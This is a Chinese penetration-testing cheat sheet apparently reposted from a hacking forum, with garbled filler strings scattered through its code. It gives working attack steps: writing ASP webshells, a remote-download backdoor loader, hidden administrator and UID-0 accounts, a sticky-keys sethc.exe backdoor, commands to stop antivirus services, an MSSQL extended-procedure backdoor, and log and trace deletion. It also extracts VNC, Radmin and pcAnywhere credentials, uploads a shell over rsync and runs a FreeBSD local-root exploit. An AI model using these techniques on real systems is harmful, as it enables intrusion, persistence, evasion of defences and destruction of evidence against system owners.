渗透技巧总结

admin

旁站路径问题
8 P" i# J- S- z9 g; V5 B$ J' A1、读网站配置。
3 t+ i" s* G) E2、用以下VBS
; p/ Z& Y/ a; O. u/ Y9 f/ [On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
7 ~. p( @5 v; g' ?% i        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
  ?" f) h8 t! ]9 D        WScript.Quit
# z% ?# X2 v' A7 l& gEnd If
. D; M& Q! l2 wSet ObjService=GetObject
6 S6 z  l) G( B
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
. n; l- O+ Z! H         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

' v( d- Z6 d, H! X8 l7 U9 _<> 0 Then WScript.Quit (1)
! u6 H+ s' v+ A2 U1 P+ C3 L  N                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
' ~. U$ F* h1 s& [1 P
& w; I9 F* Q. Q) W- g5 K                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
) i, X5 Q# A  D+ ^                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
: a6 a0 H% y9 h      

0 u: g5 }7 l0 V# w8 l         WScript.Echo "ath            : " & VDirObj.Path
7 g; Z7 n6 Z' n3 M2 u/ [8 E        End If
Next
$ A# R6 i% I; h8 t! _; z复制代码
. N2 T- s; Q6 l7 Z3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
) I, i5 W0 |% |2 Q4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
! b- y+ l( e: y5 {phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
! C. J. H5 Y8 y% C. {" C————————————————————
网站可能目录(注：一般是虚拟主机类）
; g. ]: t) e) k9 wdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
0 I# S# `: K: s, \: e' anetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
3 V; C& N+ e# g! P* }需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
$ u- x) ?4 G( l7 |) V* b$ h  u
另类的加用户方法
) R% s) f% M' D; Q2 C( f  C在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
( s) u3 P# a, I! ^z.changePassword("123456","")
6 P- {9 q; Q- q# Fz.setting("AccountType")=3;

; Z1 d% N" G' Q; y$ B! A5 F& Fvbs:
Set   o=CreateObject( "Shell.Users" )
; \: }) \: C+ K% e  v$ l% _) o  O$ wSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
6 v; Q' J2 L, @: Z! v——————————————————
4 D$ L, S# o; i& y7 Ucmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
( @9 z4 E5 S' R2 v
( [0 Z2 c4 {4 |! M+ m) O命令如下
, m- V3 U3 ?" m9 Z+ Ncacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
: p3 R: r9 i/ K& S% Z3389相关
+ y7 T* C9 {5 Qa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
! n( @; u; o  w& s% ob、内网环境（LCX）
/ i0 B1 q) z5 ]; g/ w) uc、终端服务器超出了最大允许连接
, z# m: R/ k, O" e. U, eXP 运行mstsc /admin
' M3 O! B" }( m7 N2003 运行mstsc /console   

7 c7 M) D" y4 \) x2 n+ `% ^杀软关闭（把杀软所在的文件的所有权限去掉）
- a4 j( E, v; z: s处理变态诺顿企业版：
& X8 u  q2 |  |6 _- Anet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
7 b) q4 e3 ~& s' Jnet stop "System Event Notification" /y
1 g5 i& l0 `9 m& |) d7 }; Mnet stop "Symantec Settings Manager" /y

6 w- {( }6 J. C" h8 v, ^& M卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
$ S: J) q; z& ^copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
, c% J- l6 e: ^/ G3 n* [; Scopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
$ A/ H+ h: `. u$ O; [' d& Ycopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
7 S1 L/ p6 N0 y0 T" Q: X' |% y+ h隐藏账号添加：
6 |' J$ `3 c1 U! T; X8 o1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
7 {5 e  h$ E' F' f, y$ R3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
/ l( S. ~) [" ^: ]5 J, B9 h4、利用Hacker Defender把相关用户注册表隐藏
2 O7 t# e5 J! p3 h% X9 k! O. C——————————————————————
% P& e2 p: K2 T- U$ TMSSQL扩展后门：
. t! f& X1 }) y+ n6 c" _% EUSE master;
+ ]/ |$ K( n, mEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
& C7 i' a9 [. g! }. K6 \C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
- V5 O3 G- ~( Y- K7 f
! n8 l7 c# v5 a! D+ B. |MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
6 v( F8 X5 K0 Y) s. U1 S- {找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
* [9 h4 v4 n4 G$ d% T) g& B5 r
3 [8 d2 ^' q' |# C' X1 l/ zServer\90\Tools\Shell\mru.dat
2 R6 O6 g: `, v6 G; R—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
5 i' @! e# M: S: _9 S  o
1 k6 v6 t1 A2 U; D1 S<%
. P6 y! }. |; |4 S$ Z$ z9 qSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
+ u4 X6 [- s+ T( [9 ~Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
' o  w1 }' U' \; ^! k& |( T2 cSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
; D& }1 V1 n5 B. m& Q' w# q  dWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
: |) W( H4 ]# g% j6 U.Send
6 n$ I4 }7 V, o7 X+ a3 \  VGetRemoteData = .ResponseBody
End With
2 _4 w' K2 w. e  Q5 TSet Retrieval = Nothing
! {) y/ c8 I' Y8 F9 w2 l$ SSet Ads = Server.CreateObject("Adodb.Stream")
1 r2 a! z0 ~% w: C2 B, [& pWith Ads
.Type = 1
, a7 D* W, \+ j6 Q.Open
( w7 f2 `4 t5 z.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
* K$ v" s8 |2 E+ C$ _.Close()
End With
Set Ads=nothing
End Sub
, |: i, H# Y( T; g  |+ L3 M
3 f$ F6 P" y4 f  j  |eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
' M' ~7 s, w! P1 h. d$ j%>
( N6 e/ t! ]$ ~  m
' a2 L4 V! s% {VNC提权方法:
* b/ B  [4 C1 F/ ~4 |利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
4 J. R8 Z+ X. r5 }regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
: G8 ?; p) T- L* l2 h( p如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
% L1 d1 z) l% c/ P搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
8 B8 |1 U; @( z$ m3 i% m9 EWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
& C* m$ R3 G* M5 r: H9 x7i24的web目录也是可写，权限为administrator。
; B* C  U6 s. O: B1 h, c2 ~
% @8 X5 f/ W- `  |1433 SA点构建注入点。
<%
* f" \; h2 u. V5 G7 EstrSQLServerName = "服务器ip"
1 Q. Z& k8 {' X! @strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
' O  m$ D1 ]% C& a5 m0 @4 USet conn = Server.createObject("ADODB.Connection")
- @* J* A0 q3 q3 e! v+ H7 OstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
% u3 S7 j$ n. t; F& |
strSQLDBName & ";"
+ U: d1 X  ^: M/ dconn.open strCon
dim rs,strSQL,id
& |% w3 R' }9 q- j1 s  Lset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
; o  e" d# f, C- S: O1 ]  }5 D复制代码
******liunx 相关******
" o/ S: S, l1 X* i# i1 m一.ldap渗透技巧
1.cat /etc/nsswitch
) P1 h$ G) |. P; U' E看看密码登录策略我们可以看到使用了file ldap模式
4 r: X" @# L1 X- t
2.less /etc/ldap.conf
! k  l0 N2 s3 m# X2 m0 g( U; Qbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
  w$ N3 k+ t$ r' j6 F
/ L+ ^$ v( S% d) g/ x3 h3.查找管理员信息
7 M% @8 h9 j8 F匿名方式
' S! M* r. v. Z+ B; _5 qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# k$ D. G; T! W. @3 r0 W有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, w+ n: B; G# Y3 }  Y2 O  F( r
. C& L7 a' L+ ?"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


$ f& g/ S  u4 B4.查找10条用户记录
, C. s8 W& R+ V# B: r+ Oldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
# j1 Q& W* b- S: S2 `% Y$ [9 ~1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
" ?: l, f; v0 k' x1 T! J7 N
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
+ G9 F! s7 x, Z找到ou,dc,dc设置

3.查找管理员信息
匿名方式
7 f9 l0 X! Z$ m' b3 A- Oldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

% a7 |" S: ]( F$ y1 p"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% y# v( k7 n# y' g有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. W. i8 Y9 r+ J1 R( r5 o+ X/ c  j

# a# [, F/ _$ N- ^6 x) y4.查找10条用户记录
) h" f4 s1 m+ D5 U" Oldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
/ K, w$ {. b, Pldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
0 [) f6 r4 n" x) ~4 wdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
" P; m" h6 x. S4 VobjectClass: person
6 ?: w7 Q) P2 B* L, q- mobjectClass: top
- E6 x# O( e$ e' P& |, Csn: manager
cn: manager
  `  B& N* `' g  N7 d- `
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
7 b; K5 Y* w# V# M6 Zuid: superadmin
+ p, V6 F4 g# s- PobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
- c6 V6 p& y! r9 iobjectClass: top
2 M- w/ k0 `+ z0 `sn: superadmin
cn: superadmin
9 ^2 \& B7 u* `$ \
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
- ]7 f. [8 V; K9 c* aobjectClass: inetOrgPerson
4 n5 Q) X! L& u3 i3 KobjectClass: organizationalPerson
2 p+ m: o( y3 T( HobjectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
2 z% C+ I9 z. J1 DobjectClass: top
% L" W6 Q) V& IobjectClass: person
objectClass: organizationalPerson
- W& ^% z( y* t' Q+ x3 x6 Q; i5 nobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
) P$ `2 E4 a3 g7 @" x! l# |% p
1 t" ^& |7 [$ Q( P$ W- ]% R; D  x8 fmore
! H9 `0 W* l  O: [6 S+ o6 nversion: 1
( n# p+ R7 k) Q& cdn: dc=ruc,dc=edu,dc=cn
, X& d5 r5 G' v+ a) adc: ruc
objectClass: domain
2 e# N9 E4 S% O4 |" j
7 e# n# U; `: k4 L- ?- A1 D- ^3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
9 P; u& S- b  c% U* {version: 1
. I' }' z9 O. \. A. X* @dn:
" z9 w; U" x1 z/ U/ SobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
& a  g" ]. P; b) e% EsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
: ?. y6 d* U" n' K% {3 b; lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
0 V: R7 _( r4 M0 t; ysupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
" Z9 K! S3 \) ^supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
6 Q6 m+ y% ~$ i( \8 C# csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
) ^0 I9 q+ P" Y9 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
* o( Q5 `* Z5 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
, L7 S% W: U% O: ~& k6 v6 u* wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
1 W9 r( f- ]& N0 ]4 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
/ T4 m! i. o8 U, {) U. h& _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
7 x. t& x0 Z6 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
. h, O6 J% m: A. c, k: qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
$ ?9 i) S; ^5 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
+ z* U$ C0 h( Y- m! [8 NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
/ x0 L6 H# n8 j  z0 tsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
! o$ V8 v& l' H& E! fsupportedControl: 2.16.840.1.113730.3.4.2
7 c, E0 I; n4 d4 V# JsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
! X: G2 S; k2 bsupportedControl: 1.2.840.113556.1.4.473
0 b3 Z5 {) ~% I* ]supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
+ x; }7 E/ y) J1 Q$ r% FsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
- B: D% K) U3 k- l3 W/ osupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
9 |9 R/ P1 `% l) }0 IsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
. a/ y  |' D, _supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! n2 N* S& c( M$ d5 XsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
% v. ]8 ]2 ~% ?supportedControl: 2.16.840.1.113730.3.4.14
- R' }" w6 h+ V9 X. }8 ~' `/ b( wsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
( H; y! R5 v. QsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
5 i% U0 f) O% p0 i2 c" AsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
3 c1 `' P- X% g+ w/ n+ EsupportedLDAPVersion: 2
4 I' R) D# a2 i$ BsupportedLDAPVersion: 3
: D& c4 V- R& a! s1 K; f4 S% r9 e, AvendorName: Sun Microsystems, Inc.
$ Y" C7 V7 }( Q* w6 T# hvendorVersion: Sun-Java(tm)-System-Directory/6.2
3 N. w7 x* @; n4 W4 z8 udataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
$ ~8 a0 W" Z2 @/ ?& UsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
9 K7 N$ `5 D& j" K( `9 M; ~, rsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
2 r1 j, [! k9 |" U) H% y$ o# E" KsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
; @% I7 L' F' g( Y4 rsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 a% I, D9 {' ]3 l! w2 wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
8 n. \( [& ?# ?+ FsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
1 `1 a; b: i, S; a* F4 MsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
7 @& M: V" H1 ]  Q0 p5 m1 RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
! A4 d1 v7 O# f; ]: i7 JsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
1 [2 Y/ U( x% k# asupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
% O* g% _4 g7 y1 ^8 CsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
) X1 }9 h/ C  ~2 Q& D: @7 u6 L) }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
( \7 A- T# n& j; xsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
0 u# W% ]# ]9 P- rsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
# |) d; R5 C/ j( s8 JsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
7 ~% r0 q" L8 Z+ T$ SsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
* N4 ^# h9 e" {( l2 K% K+ W& QsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
& m3 ?2 q) Z7 n- NsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
* r8 x/ [; {# ~- m7 o. f5 QsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
0 c# A% G5 V( t! P* B* T, Z# CsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
; R8 ]9 C6 I8 O$ t1 ^" usupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
8 Z- B: B" u. ]1 p# N$ SsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
% i/ j. ^2 E% z2 GsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
/ e, C1 K( g5 ]3 I/ p0 W3 I7 vsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
: `) }6 O& _8 a) i2. NFS渗透技巧
# \$ ]& O( B& @/ f: ashowmount -e ip
列举IP
! d( W) h: l# T3 x——————
3.rsync渗透技巧
7 R9 Q/ j- H1 X& \; ~5 K1.查看rsync服务器上的列表
' W; v* l* }% x7 R9 Vrsync 210.51.X.X::
finance
: I! b. B8 G$ [* ~5 `img_finance
1 `6 u7 l% _* R2 v( |" F* m2 fauto
img_auto
# ~9 ?2 }6 o  ]3 |9 M. P' m) o3 b7 e/ Vhtml_cms
img_cms
: l/ s/ Q& j- j, X3 Hent_cms
ent_img
  j2 e, c8 V2 cceshi
res_img
res_img_c2
& c+ M( a( D7 q6 E. echip
chip_c2
ent_icms
% n9 ~9 j" G- p. z4 N6 c  igames
gamesimg
- N& N( z2 l3 H# R' mmedia
8 z0 B, E# g" m0 K) \mediaimg
fashion
7 a5 r- M; w3 A. N. F0 v. Gres-fashion
; i9 ~. I: i9 A% i# M1 ares-fo
taobao-home
res-taobao-home
house
2 ^# B9 {2 D( x/ ], q/ |: kres-house
- [3 Z( L) K& l9 c1 hres-home
res-edu
res-ent
: P! H/ T5 b0 J- Ores-labs
9 x& E: r' Y. `' yres-news
res-phtv
& j4 S2 N4 K( u9 |res-media
home
% n  S' O* @# z1 L% O" S* z  [edu
news
  {) h2 x5 }! m0 s9 a' pres-book
# `$ o. E- K5 I0 M
看相应的下级目录(注意一定要在目录后面添加上/)

! s- J  m; i, I3 `
( M5 H) @. B; a8 O/ Yrsync 210.51.X.X::htdocs_app/
: `. r3 q. o- p4 A/ ?rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
. ?9 h' B/ u3 x4 Z: d: N" Yrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

0 {1 H! ^# L* h5 T( |& \6 D; d$ Z3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
7 ]7 {% M, \4 }# tGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
" }  ]9 w1 [& C9 }1 mssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
1 f* x6 h* Q5 }0 L
2 Y) d4 i$ Q; v  s# d) `六.joomla渗透小技巧
+ `! U: k0 u% g3 d% L确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
; @+ M, u6 a. \; w! w: ]
重新设置密码
9 f" y: i$ W( O# ]index.php?option=com_user&view=reset&layout=confirm
5 T6 X! d' C  C+ }
& b8 J$ Y6 H( H  i( D七: Linux添加UID为0的root用户
% R% ~/ q7 }" [/ L$ w4 |useradd -o -u 0 nothack
4 D7 u5 @: y, L# K3 R
八.freebsd本地提权
9 H% w  y+ w; |5 w[argp@julius ~]$ uname -rsi
- D/ w! w6 @1 s2 d. w% n* freebsd 7.3-RELEASE GENERIC
( _5 U) w- m  g+ ~9 i6 h2 I1 r, v* [argp@julius ~]$ sysctl vfs.usermount
% |  M9 X! \) t+ ]* o1 A* vfs.usermount: 1
7 Z* z0 a. r2 _( _2 [3 f  n* [argp@julius ~]$ id
. g$ g% D8 `8 q9 K* Z* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
" h, j- z9 c3 z; N# A" c6 W6 e* [argp@julius ~]$ ./nfs_mount_ex
0 r7 D& X4 A6 s*
9 E; h& p! O: q$ j1 Ncalling nmount()
" e9 t* A. M' }  n* v, c
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
- `( S+ b3 c% S! u6 Q7 y% S1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
